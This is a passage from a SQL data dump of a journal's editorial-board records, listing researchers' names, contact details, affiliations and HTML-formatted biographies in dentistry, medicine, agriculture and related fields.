member','Turkey','Gaziosmanpasa University','16','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Dr. Mehmet Kemal TUMER received his DDs degree and graduated from Faculty of Dentistry, Ankara University (Turkey) in 2008. Dr. Tumer trained from 2009 to 2012 in Department of Oral and Maxillofacial Surgery, Faculty of Dentistry, Gazi University, Ankara, Turkey; and received her specialization and PhD degree in OMFS in 2012. He has been working Gaziosmanpasa University as an Assistant Professor since 2013. Dr. Tumer has been head of department of Oral and maxillofacial Surgery, Faculty of Dentistry, Gaziosmanpasa University since 2016. He has been Dr. Tumer has been Vice Dean of Faculty of Dentistry, Gaziosmanpasa University since 2018. He is also a PhD student in the department of medical biology and genetics in the thesis stage.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:18px\"><em><strong><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#333333\">Research interest:</span>&nbsp;</span></strong></em></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Animal science, aging, cell culture, molecular biology, PCR, Temporomandibular joint, salivary gland, oral cancer</span></p>\r\n',1,'2018-07-24 21:28:23','2018-07-24 21:28:23',1),(187,15,20,'1532448318.jpg','Andrea Ballini','andrea.ballini@me.com','(+39)3492432155','Details: Department of Basic Medical Sciences, Neurosciences and Sense Organs, School of Medicine','Editorial board member','Italy','University of Bari ','17','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Doctor of Dental Surgery. Clinical and Research Investigator at Department of Basic Medical Sciences, Neurosciences and Sense Organs, School of Medicine - University of Bari ALDO MORO. Laboratory Head at Department of Dental Sciences and Surgery (2009-2012). Visiting Professor at &quot;City Unity College - Greece&quot; (and affiliated Institutions). Visiting Scientist at &quot;Tecnologica Research Institute&quot; in Crotone, Italy. Visiting Senior Clinical Lecturer at BPP University, Faculty of Dentistry, Birmingham-United Kingdom. Member of the &quot; World Academy of Growth Factors &amp; Stem Cells in Dentistry- WAGroFSCD&quot;.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Author of scientific papers and book chapters on National and International Journals (and Books) with Impact factor. Winner of &quot;Research Award&quot; from Medical and Dental Council of Bari (Italy) in year 2016. Winner of &ldquo;Sant&rsquo;Apollonia Award&rdquo; from ANDI (Italian Dental National Association) in year 2005 for the best clinical and scientific report in Dental Sciences.&nbsp; Invited reviewer, Lead Guest Editor,&nbsp; Past-Associate Editor and Editorial Board Member in International Journals.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><em><strong>Research Interests:</strong></em> Scientific research activity in Dentistry, Stem Cells, Sexual Transmitted Diseases, Medical Genetics, Clinical Biochemistry, Dermatology, Immunology, Microbiology, Public Health and Preventive Medicine, Maxillofacial Surgery, Biotechnology, Occupational Medicine, Sleep Medicine, Biochemistry and Dental Hygiene. Actually the research lines are focused on: stem cells from oral and extra-oral tissues, regenerative therapies in dentistry and maxillofacial surgery, biomimetic scaffolds, genetic disorders with and without oral and maxillofacial features, genetics of periodontal disease and its correlation with systemic diseases, genotoxicity, cytogenetic, biochemistry implant dentistry, orthodontics, and Laser Technology and Therapy. </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><em>Keywords for research interests:</em></strong> <em>Dentistry, Stem Cells, Sexual Transmitted Diseases, Medical Genetics, Clinical Biochemistry, Dermatology, Immunology, Microbiology, Public Health and Preventive Medicine, Maxillofacial Surgery, Biotechnology, Occupational Medicine, Biochemistry and Dental Hygiene.</em></span></p>\r\n',1,'2018-07-24 21:35:17','2018-07-24 21:35:53',1),(188,17,20,'1532448650.jpg','Kulanthayan KC Mani','kulan@upm.edu.my','','Executive Director Safe Kids Malaysia, Department of Community Health, Faculty of Medicine and Health Sciences','Editorial board member','Malaysia','University Putra Malaysia','12','<p><span style=\"font-family:Times New Roman,Times,serif\">Dr. Kulanthayan KC Mani holds a Bachelor Degree in Resource Economics from Universiti Pertanian Malaysia, Master of Science Degree in Transportation Planning from Universiti Teknologi Malaysia, Doctoral degree in Transportation Engineering from Universiti Putra Malaysia in 2002 and a Diploma in Traffic Safety from Lund University in Sweden. He is an Associate Professor attached with the Department of Community Health. His main research area is on Traffic Safety and Children Safety. He heads Safe Kids Malaysia as its Executive Director since its inception in 2011and has been actively engaged in research and community engagement programs in promoting safety among children in the country. He works on preventing unintentional injuries mainly focussing on traffic, drowning, falls and burn injuries involving children.</span></p>\r\n',1,'2018-07-24 21:40:50','2018-07-24 21:40:50',1),(189,35,20,'1532707567.jpg','Alexander K Sayok','ksalexender@unimas.my','','Department of Biodiversity and Environmental Conservation','Editorial board member','Malaysia','Universiti Malaysia Sarawak','13','<p><span style=\"font-family:Times New Roman,Times,serif\">Alexander K Sayok, a graduate in forestry (BS Forest management (1984) Louisiana State University, MS Watershed Management (1986)&nbsp; and Doctorate in Forest Hydrology and Soil Science (1991) Stephen F Austin State University, Texas).</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Lecturing in Forestry at PNG University of Technology, Lae from 1992 to 1996 on subjects related to forest and agriculture production, management and conservation</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Environmental Specialist at KTA Sdn Bhd (Consulting Engineers) from 1996 to 2002 ensuring all development projects especially on land development not just meeting state and national laws and regulation but must be environmental friendly </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">National Expert for the peat swamp forest project funded by United Nations Development Programme from 2002 to 2008.&nbsp; Main purpose is to understand more on the properties of peat swamp for sustainable use and integrated management </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Research Fellow/Associate Professor at Institute of Biodiversity and Environmental Conservation, Universiti Malaysia Sarawak since September 2008 lecturing and doing researches as well as consultancies on biodiversity and environmental conservation and enhancement</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">He had worked with communities while lecturing in Papua New Guinea and communities in Tinjar-Baram area, Sarawak when he served &nbsp;with UNDP. He continues to work with the communities while serving in UNIMAS. In UNIMAS, he lectures and undertake researches on plants and the environment including Water Resources Engineering. He also had led a project related to dissolved organic carbon in peat land areas in Selangor. Presently he is documenting resources in five&nbsp; community forests including plants in Sarawak towards effort for conservation and sustainable use, and traditional knowledge on food plants diet and health relationship of Bau District community, as well as active ingredients in selected medicinal plants in Singai Area, Kuching.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Had also been engaged in several hydrology-related consultancies since joining UNIMAS. Among them are as follows:</span></p>\r\n\r\n<ul>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">In 2009, he was involved as a forester for the feasibility studies on the proposed Baram Dam by SEB. </span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">In 2010, he led the team for Environment Sensitivity Index of the coastline of Sarawak and Western Sabah commissioned by Petronas and other oil companies. </span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">During September to December 2012, he was engaged as Peat Swamp Expert cum Team Leader for the midterm review on ASEAN Peatland Forest Project funded by the UNDP via International Fund for Agricultural Development (IFAD) based in Rome, Italy.&nbsp; </span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">In 2015, he led two water/flood-related consulting projects entitled &ldquo;Rapid assessment of floods in peat swamp areas of Rajang delta&rdquo; under Wetlands International and &ldquo;Ecosystem-based adaptations to sea level rises in Sarawak River basin&rdquo; under NAHRIM.&nbsp; </span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">In 2016, he led the team in drafting the Batang Ai Reservoir Management Plan commissioned by MNRE through NAHRIM.&nbsp; In 2017, he was engaged as the desktop evaluator for Agusan Marsh Mindanao, The Philippines, for nomination as the World Heritage Site. </span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">In 2018, he was assigned as hydrologist for the Taman Perpaduan di Taman Budaya (aka Reservoir Park) Kuching renovation under DBKU through EMS Progress Sdn Bhd.</span></li>\r\n</ul>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">He is a committee member for the Lakes and Reservoirs Malaysia,&nbsp; Academic Research on Oil Palm Sustainability (ARPOS), and a member of the Malaysian Palm Oil Certification Council Dispute Resolution Committee (DRC). He is a regular editor/reviewer of articles sent to Journal of Geography and Regional Planning, and reviewed some articles for Journal of Land Use as well as Journal of Environmental management</span></p>\r\n',1,'2018-07-27 21:36:06','2018-07-27 21:36:06',1),(190,15,20,'1532708277.jpg','Douglas L. Risk','majorrisk@hotmail.com','(240) 682-1019','Department of General Dentistry','Editorial board member','USA','Fusion Dental','001','<p><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Dr Risk entered active duty through the Military Indoctrination of Medical Services Officers (MIMSO) Program at Sheppard AFB, TX in 1987 after graduating from Georgetown University School of Dentistry. As a direct accession dental officer, he had a variety of clinical and administrative duties and was accepted into the two-year general dentistry residency at Lackland AFB. After graduating the residency in 1997, Col Risk became the only dentist to successfully challenge the certifying board in Infection Control and Epidemiology in 1998 and is a Diplomate of the Federal Services Board of General Dentistry and the American Board of General Dentistry. He has been the Chief of Dental Services at Kunsan AB, Korea; RAF Croughton, UK; and Mountain Home AFB, ID. Col Risk also served as Dental Squadron Commander at Bolling AFB and Offutt AFB where he was also Deputy Group Commander for the 579<sup>th</sup> Medical Group and the 55th Medical Group. Col Risk served on the Air Force Surgeon General&rsquo;s Staff from 2005-2008, responsible for directly supporting the Dental Corp Director and for coordinating all Senior Leader Assignments for the Air Force Medical Service.</span></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">In November 2003, Colonel Risk deployed to the 379th Air Expeditionary Medical Group, Southwest Asia, in support of OPERATION IRAQI FREEDOM and OPERATION ENDURING FREEDOM where he was individually responsible for the dental health of the Air Force&rsquo;s largest Air Expeditionary Wing including over 6000 coalition personnel.&nbsp; Col Risk also deployed with OPERATION NEW HORIZONS in support of nation building efforts in Central America in 2013.&nbsp;&nbsp; Col Risk is a Fellow of the International College of Dentists, served as the Military Consultant to the Air Force Surgeon General for Dental Materials, Devices and Investigations and interim Infection Prevention and Patient Safety Consultant.&nbsp; He was appointed as an Associate Professor of Comprehensive Dentistry for the Uniformed Services University of the Health Sciences.&nbsp;</span></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Dr Risk retired from Active Duty in November 2017.&nbsp; After retirement, Dr Risk joined Fusion Dental, an affiliate of American Dental Partners, Inc., where he entered private practice and provided preparation activities for accreditation by the Accreditation Association for Ambulatory Health Care (AAAHC).&nbsp; His current duties include quality assurance, regulatory compliance, risk management and accreditation preparation.&nbsp; Col Risk currently serves on the Executive Board of Directors for the Organization for Safety, Asepsis, and Prevention (OSAP) and on the Standards Committee for Dental Products for the American Dental Association (ADA).&nbsp;</span></span></p>\r\n',1,'2018-07-27 21:47:56','2018-07-27 21:54:53',1),(191,28,20,'1532709095.jpg','Patricia Myriam Vuguin','pv2267@columbia.edu','','Associate Professor of Pediatrics ','Editorial board member','USA','Columbia University Medical ','03','<p style=\"margin-right:4.5pt\"><span style=\"font-family:Times New Roman,Times,serif\">Patricia Myriam Vuguin currently and associate professor at &nbsp;Columbia University Medical .<span style=\"color:black\">I have trained as Pediatric Endocrinologist with a record of achievement in both the clinical and the laboratory arenas.&nbsp; My Curriculum Vitae indicates my lifelong devotion to scientific and medical knowledge. I finished a Masters of Science Training Program in Clinical Research, a NIH-funded program offered by the Department of Epidemiology and Biostatistics at Albert Einstein College of Medicine. I also rounded out my education with a strong basic science program.&nbsp; I have almost 20 years&rsquo; experience researching the developmental origins of health and disease, diabetes and novel biochemical mechanisms by which glucagon affect pancreatic islet cell differentiation and maturation. I am currently the director of the Pediatric Thyroid Center and the Pediatric endocrine fellowship program at Columbia University. </span></span></p>\r\n',1,'2018-07-27 22:01:35','2018-08-02 00:15:41',1),(192,28,20,'1532709501.jpg','Emin Turkay Korgun','korgun@akdeniz.edu.tr','','Professor Doctor at the Department of Histology and Embryology','Editorial board member','Turkey','Akdeniz University','10','',1,'2018-07-27 22:08:20','2018-07-27 22:08:20',1),(193,28,20,'1533232507.jpg','Emmanuel Ifeanyi Obeagu','emmanuelobeagu@yahoo.com','','Department of University Health Services','Editorial board member','Nigeria','Michael Okpara University of Agriculture','11','',1,'2018-07-27 22:16:00','2018-08-02 23:25:06',1),(194,28,20,'1532710203.jpg','Valeria Calcaterra','v.calcaterra@smatteo.pv.it','00390382502930','Department of Internal Medicine','Editorial board member','Italy','University of Pavia','12','',1,'2018-07-27 22:20:03','2018-07-27 22:20:03',1),(195,26,20,'1532963756.jpg','Abyt Ibraimov ','ibraimov_abyt@mail.ru','','Head of Laboratory of Human Genetics','Editorial board member','Russia','National Center of Cardiology and Internal Medicine','03','<p><span style=\"font-family:Times New Roman,Times,serif\">Abyt Ibraimov is a genetic researcher and get Grants from International Science Foundation, 1993. He is a member of Kyrgyz Parliament, 1990. He is a member of New York Academy of Sciences, Kyrghyz National Academy of Sciences, International Association Human Biologists.</span></p>\r\n',1,'2018-07-30 20:45:56','2018-07-30 20:45:56',1),(196,29,20,'1532964920.jpg','YanPing Yu','ypyu@pitt.edu','','Associate Professor of Pathology','Editorial board member','USA','University of Pittsburgh','01','<p><span style=\"font-family:Times New Roman,Times,serif\"><strong><u>Research interests</u></strong> focus on the cancer genome and epigenome abnormalities and in our studies we used the methods of genetics, molecular biology, tumor-cell biology, genome editing and animal models. For years we have analyzed hundreds of cancer specimens for the alterations of gene expressions and genome copy number variations (CNVs) and methylations in prostate cancers. We examined the correlations of abnormalities identified with the clinical aggression of cancers and evaluated the clinical diagnostic and therapeutic value of the promising targets in cancers. Currently, we are characterizing fusion genes identified in our transcriptome sequencing studies of human malignancies, and we envision these fusions as the transcriptional products of genome rearrangements, a driving gene event in cancer development and progression.</span></p>\r\n',1,'2018-07-30 21:05:19','2018-07-30 21:05:19',1),(197,28,20,'1532965649.jpg','Parijat De','p.de@nhs.net','01212491425','Consultant & Clinical Lead in Diabetes & Endocrinology','Editorial board member','United Kingdom','Sandwell & West Birmingham NHS Trust','06','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Dr Parijat De is a Consultant Physician in Diabetes, Endocrinology, and Lipid Metabolism at City Hospital (Sandwell &amp; West Birmingham NHS Trust), Birmingham.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">He started as a Consultant Physician in January 2003 having trained as a Specialist Registrar in Wales. He has done his MD Medicine from India.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">He has a wide interest and expertise in all aspects of Diabetes, especially in the field of Metabolic Medicine and Diabetes Renal disease. His special interest in Diabetes is Metabolic Syndrome as well as the growing problem of obesity including new oral and injectable therapies for weight loss. He has published widely in his field and persues an active research interest. He has published numerous papers in peer reviewed journals.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">He has set up a regular nurse-led diabetic renal review clinic and is involved in research and projects involving diabetic nephropathy and renal disease. He has also set up community based diabetes clinics in Birmingham, which are amongst the first in the country. He has received national acclaim for the Diabetes in Community Extension (DiCE) work.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">He has an active interest in all aspects of Endocrinology and has regular out-patient clinics as well as managing in-hospital referrals. His special interest is in the adrenal gland, endocrine hypertension, Thyroid and Vitamin D deficiency.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">He is involved in both undergraduate and postgraduate MRCP teaching and is an MRCP examiner and host. He has previously been the trust Clinical Governance Lead, College Tutor and is currently the Clinical Lead. He has set up local protocols and guidelines in most aspects of metabolic medicine including emergencies in diabetes as well as endocrinology.</span></p>\r\n',1,'2018-07-30 21:17:28','2018-07-30 21:18:13',1),(198,28,20,'1532966203.jpg','Nikolaos Papanas','papanasnikos@yahoo.gr','','Diabetes mellitus Diabetic complications Diabetic foot Diabetic neuropathy Medical writing Vascular disease Metabolic syndrome in OSAS and obesity','Editorial board member','Greece','University of Thrace Greece','14','<p><span style=\"font-family:Times New Roman,Times,serif\">Dr. Nikolaos Papanas is Professor in Internal Medicine-Diabetes Mellitus at Democritus University of Thrace, Greece. He has been specialized in diabetes and its complications in the Diabetes Center and the Diabetic Foot Clinic at King&rsquo;s College Hospital, London, UK, as well as in the German Diabetes Center at the Heinrich Heine University, D&uuml;sseldorf, Germany. He has established an ongoing collaboration with the neuropathy study group of the German Diabetes Center in D&uuml;sseldorf. He has published <strong>more than 270 papers</strong> in peer-reviewed journals<strong>.</strong> He serves in the editorial board of more than 70 international journals. He has also participated with numerous presentations in Greek and European medical congresses and repeatedly served as invited reviewer in medical journals. He has served in the Executive Committee of the Hellenic Society for Angiology. He is currently a member in the Executive Committee of the Study Group on Diabetes and Nervous System of the German Diabetes Association (DDG). He is also Vice President of the Greek Society for the Study of the Diabetic Foot. He has served as Secretary General and, until very recently, as President of the Hellenic Diabetes Association. He is now the President of the ethics and administrative committee of the Hellenic Diabetes Association. He is also Vice President of the Diabetic Foot Study Group (DFSG, www.dfsg.org) of the European Association for the Study of Diabetes (EASD). He has recently become Visiting Professor in the German Diabetes Center, D&uuml;sseldorf. Moreover, he is an honorary member of the Cypriot Diabetes Association and the Hungarian Diabetes Association.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"font-size:18px\"><u><em><strong>Research Interest</strong></em></u><em><strong>:</strong></em></span></span></p>\r\n\r\n<ul>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Diabetes mellitus</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Diabetic complications</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Diabetic foot</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Diabetic neuropathy</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Medical writing</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Vascular disease</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Metabolic syndrome in OSAS and obesity</span></li>\r\n</ul>\r\n',1,'2018-07-30 21:26:42','2018-07-30 21:27:17',1),(199,28,20,'1532966518.jpg','Teresa Arora','teresaarora8@gmail.com','971544 497 305','Assistant Professor ','Editorial board member','United Arab Emirates','Zayed University','15','',1,'2018-07-30 21:31:58','2018-07-30 21:31:58',1),(200,35,20,'1532966901.jpg','Shady El-Ghaish','shady2002nabil@yahoo.com','','Department of Dairy Science, Faculty of Agriculture','Editorial board member','Egypt','Kafrelsheikh University','14','',1,'2018-07-30 21:38:20','2018-07-30 21:38:20',1),(201,35,20,'1532967120.jpg','Ahmed Abd El-Aziz Kheder','ahmedkheder@hotmail.com','201003392108','Department of Virus and Phytoplasma Plant Pathology Research Institute','Editorial board member','Egypt','Agricultural Research Centre (ARC)','15','',1,'2018-07-30 21:42:00','2018-08-01 21:24:21',1),(202,15,20,'1533115641.jpg','Mohammad Hosein Kalantar Motamedi','Motamedical@yahoo.com','','Professor, Oral and Maxillofacial Surgeon','Editorial board member','Iran','Azad University of Medical Sciences','19','',1,'2018-08-01 14:57:20','2018-08-01 14:57:20',1),(203,15,20,'1533116152.jpg','Nagy Abdul Samee','nagyabdulsamee@gmail.com','201022065499','Professor and Head of Dental Biomaterials, Faculty of Dentistry','Editorial board member','Egypt','Modern University for Technology & Information ','20','<p><span style=\"font-family:Times New Roman,Times,serif\">Bachelor Degree of Dental Sciences from Faculty of Dentistry, Cairo University 1975, Master Degree in Prosthodontics from Faculty of Dentistry, Alexandria University, December 1980, and PhD in Dental Biomaterials has been finished at faculty of dentistry, Alexandria University 1985.Worked as demonstrator 5/7/1976 &ndash; 21/4/1981, Assistant lecturer 22/4/1981 &ndash; 16/9/1985, Lecturer 17/9/1985- 29/12/1991, and Assistant professor 30/12/1991 &ndash; 6/7/1994 at Dental Biomaterials Department, Faculty of Dentistry, Mansura University.<br />\r\nWorked as consultant Prosthodontics, Dental Center, King Fahad Hospital, Al-Madinah Al Menawarah, Kingdom of Saudia Arabia 1988 &ndash;2000.Worked as Assistant Professor, Dental Biomaterials, College of Oral and Dental Medicine, Misr University for Science &amp; Technology (MUST), Egypt 2000 &ndash;2004. At the same university i became a full professor &amp; head of Dental Biomaterials, 12/9/2004 &ndash; 1/6/2014. I worked as a Vice Dean of Graduate Studies and Researches, in this college, 2/6/2014 till 31/1/2016.<br />\r\n<em><strong>Currently:</strong></em> <strong>Consultant Prosthodontics</strong>, Professor and Head of Dental Biomaterials, Faculty of Dentistry, Modern University for Technology &amp; Information (MTI), Egypt 1/9/2016 till now.<br />\r\n&nbsp;An editor in many international dental journals, a speaker at many national and international dental conferences, and published seventeen researches in international dental journals.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><em><strong>Research Interest:</strong></em> Removable and Fixed prosthodontics, Implant dentistry, Dental Biomaterials, and Laser applications in dentistry.</span></p>\r\n',1,'2018-08-01 15:05:52','2018-08-01 15:05:52',1),(204,26,20,'1533117314.jpg','Shehab Mahmoud Abd El-Kader','profshehab@LIVE.COM','','Professor,Department of Cardio-Pulmonary Disorders and Geriatrics, Faculty of Physical Therapy','Editorial board member','Egypt','Cairo University','04','<p><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><sub>Prof. Shehab Mahmoud Abd El-kader, PT, MPT, PhD in physical therapy for cardiopulmonary, metabolic, women health, and geriatrics, Faculty of Physical Therapy, Cairo University, Egypt, since 2000 . Recent research interests include the areas of Cardiothoracic Surgery, Respiratory Disorders, Metabolic Disorders&nbsp;, women health, caring for older people, cardiopulmonary disorders, geriatrics, hepatology and wound care. Prof. Shehab is interested in teaching Physical therapy for patients with respiratory disorders, geriatrics, hepatology and metabolic disorders. In addition, he has published several original researches in refereed pioneer journals, published ten online textbooks with LAMBERT Academic Publishing in Germany that are available in Amazon and participated in many international conferences all over the world. Prof. Shehab is a designer and reviewer for several teaching curriculum for bachelor and master degrees in physical therapy for many universities in the middle east. Also he is a reviewer for many medical and scientific journals in addition to be a supervisor and referee for several post-graduate scientific thesis, he is an editorial board member for many international Journals. Finally, Prof. Shehab has a long history in teaching for students in the bachelor, master and doctorate degrees in physical therapy.</sub></span></span></p>\r\n',1,'2018-08-01 15:25:13','2018-08-01 15:26:43',1),(205,27,20,'1533117825.png','Andrzej Prystupa','aprystup@wp.pl','480815327717','Department of Internal Medicine','Editorial board member','Poland','Medical University of Lublin','13','',1,'2018-08-01 15:33:45','2018-08-01 15:33:45',1),(206,35,20,'1533118192.png','Carmen Georgeta Nicolae ','carmennicolae19@yahoo.com','+4021.318.25.61','Associate Professor PhD','Editorial board member','Romania','University of Agronomic Sciences and Veterinary Medicine of Bucharest','16','<p><span style=\"font-family:Times New Roman,Times,serif\">Carmen Georgeta NICOLAE is Associate Professor at the Faculty of Animal Products Engineering and Administration, University of Agronomic Sciences and Veterinary Medicine of Bucharest, Romania. She is PhD and PhD Coordinator in animal science field. Area of expertise refers to aquaculture and fishery, animal husbandry, food products processing, quality of food products, public health, environmental sustainability, management, organization of specific activities of research and the livestock production. The experience in his field of expertise is reflected in the publication of 11 books or chapter in book, over 200 scientific articles in representative journals and conferences, 2 patents and 20 research projects. She is member of the editorial staff and reviewer of scientific journals and national and international events such as International Conference &ldquo;Agriculture for life, life for agriculture&rdquo;; &nbsp;International Virtual Conference on&nbsp; Advanced Research in Scientific Areas (ARSA 2016), Scientific Papers. Series D. Animal Science Journal; Prudent Journals; BioPublisher; Science Domain International Journals; Science Publishing Group Journals; Uttar Pradesh Journal of Zoology.</span></p>\r\n',1,'2018-08-01 15:39:52','2018-08-03 23:29:15',1),(207,35,20,'1533118659.jpg','Christopher Teh Boon Sung','christeh@yahoo.com','+603-89474858','Dept. Land Management, Fac. of Agriculture','Editorial board member','Malaysia','Universiti Putra Malaysia','17','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Christopher Teh Boon Sung has a Ph.D. in Agriculture from The University of Reading, UK. His field of specialties are in soil and water conservation and crop modeling. He is attached to the Department of Land Management, Faculty of Agriculture, Universiti Putra Malaysia since 2001. He has numerous publications: 5 books, 7 book chapters, 41 journal articles, and nearly 100 proceedings. He is active in promoting urban gardening and has written several newspaper articles and conducted several workshops in urban gardening. He has also won several teaching awards for teaching excellence from his university.</span></p>\r\n',1,'2018-08-01 15:47:39','2018-08-01 15:47:39',1),(208,35,20,'1533119163.jpg','M. Cuneyt Bagdatli','cuneytbagdatli@gmail.com','','Asst. Prof. Dr','Editorial board member','Turkey','Nevsehir Haci Bektas Veli University','18','<p>M. Cuneyt Bagdatli&nbsp;is working in Nevsehir Haci Bektas Veli University Faculty of Engineering and Architecture, Department of Biosystem Engineering in Turkey since 2014.<strong> </strong>He completed Ph.D. level in Biosystem Engineering area of Nam?k Kemal University and M.S. Level in Sel&ccedil;uk University, Department of Agricultural Structures and Irrigation in Turkey. He worked as a research assistant in Nam?k Kemal University, Faculty of Agriculture, Department of Biosystem Engineering (2008-2013). He served as project head and researcher in 18 projects supported by Universities. He is having 70 articles in Journals and Syposium, Conference on Irrigation, Hdrology, Climate Change, Hydrology, Watershed Management, Water quality, Remote sensing and GIS mapping, The system management in automatic irrigation, fertilization, pesticide and greenhouse. Heavy metal pollution in water and soil.</p>\r\n',1,'2018-08-01 15:56:02','2018-08-02 23:38:56',1),(209,28,20,'','Jianping Liu','liujpnfm@163.com','','Chief Doctor/Professor','Editorial board member','China','The Second Affiliated Hospital to Nanchang University','16','',1,'2018-08-01 16:08:11','2018-08-01 16:08:11',1),(210,28,20,'1533232413.png','Alexander E. Berezin','dr_berezin@mail.ru','+3806061006','Professor Chief of Cardiology Unit of Internal Medicine','Editorial board member','Ukraine','State Medical University','17','<p><span style=\"font-family:Times New Roman,Times,serif\">Alexander E. Berezin received the MD degree from State Medical University, Zaporozhye, Ukraine, in 1992. PhD degree in field of Heart Failure was earned in State Medical University, Zaporozhye, Ukraine in 1994. He is currently Professor of Medicine, Chief of Cardiology Unit of Internal Medicine Department at State Medical University, Zaporozhye, Ukraine. He became a Member (M) the Ukrainian Cardiology Association in 1997; M of the Ukrainian Heart Failure Association in 2000; M of Heart Failure Association of the ESC in 2004; M of European Acute Cardiovascular Care Association in 2010; M of W.G. on Atherosclerosis and Vascular Biology of the ESC in 2010; M of European Association of Percutaneous Cardiovascular Interventions in 2012; M of European Association for Cardiovascular Prevention and Rehabilitation in 2012, M of W.G. on Hypertension &amp; the Heart of the ESC in 2012. From 2002 to 2012, he was Associate Professor at the Internal Medicine Department at State Medical University, Ukraine. His research interest includes the fundamental study of biological markers of cardiovascular diseases, the implementation of visualization procedures and percutaneous cardiovascular interventions, the development of cardiovascular prevention and rehabilitation, especially in the field affected heart failure and coronary artery disease, as well as regenerative medicine. Based on this research and fellowship training he has received several awards and honors, such as: Award of The Cabinet of Ministers of Ukraine (2002), Honor of The Ukrainian Cardiology Association (2004). His previous publications are: 1. Berezin AE, Kremzer AA. Circulating osteopontin as a marker of early coronary vascular calcification in type two diabetes mellitus patients with known asymptomatic coronary artery disease. Atherosclerosis. 2013; 229: 475-481. 2. Berezin AE, Kremzer AA. Analysis of Various Subsets of Circulating Mononuclear Cells in Asymptomatic Coronary Artery Disease. J. Clin. Med. 2013, 2, 32-44. 3. Berezin AE, Kremzer AA. Bone-Related Circulating Proteins as Early Predictors of Coronary Atherosclerosis in Asymptomatic Patients with Known Coronary Artery Disease. Advanced Studies in Medical Sciences. 2013; 1 (4): 157 &ndash; 172 4. Berezin AE, Samura TA. Prognostic value of biological markers in myocardial infarction patients. Asian Cardiovascular and Thoracic Annals; 2013, 21(2): 142 &ndash; 150. 5. Berezin AE, Kremzer AA. Serum uric acid as a marker of coronary calcification in patients with asymptomatic coronary artery disease with preserved left ventricular pump function. Cardiology Research and Practice. 2013, Article ID 129369, 7 pages, http://dx.doi.org/10.1155/2013/129369. 6. Berezin AE, Kremzer AA, Samura T.A., Martovitskaya Yu.V. Association between Circulating Galectin-3 and Proangiogenic Mononuclear Progenitor Cells in Chronic Heart Failure Patients. JCvD. &ndash; 2014 [in press] 7. Berezin AE, Lisovaya OA. C-reactive protein in arterial hypertension after stroke. Asian Cardiovascular and Thoracic Annals; 2013 [in press]. October 29, 2013, doi: 10.1177/0218492313501163 8. Berezin AE, Kremzer AA, Samura T.A., Martovitskaya Yu.V. Circulating Endothelial-Derived Apoptotic Microparticles in the Patients with Ischemic Symptomatic Chronic Heart Failure: Relevance of Pro-Inflammatory Activation and Outcomes. Int Cardiovasc Res J.2014;8(3): [before print] 9. Berezin AE, Lisovaya OA. Predictive Value of Circulating Vascular Endothelial Growth Factor-1 in Arterial Hypertension Patients. Intern Med S. 2014; 11: 2-10. 10. Berezin AE. The Concept of Cell Therapy in Advanced Heart Failure: New Reality, Hope or Hype. Journal of Cardiology and Therapy. 2014; 1(3): 52-57. He is current Editor-in-Chief of Biological Markers and Guided Therapy. He is serving as an editorial member of several reputed journals like Ukranian Medical J, J Cardiology and Therapy (since 2013), Case Reports in Internal Medicine and expert Reviewers for journals like J Genetic Disorders and Genetic Reports; Obesity; Eur. J Clinical Investigations; J Food Science and Engineering; Case Reports in Internal Medicine; Diabetes, Metabolic 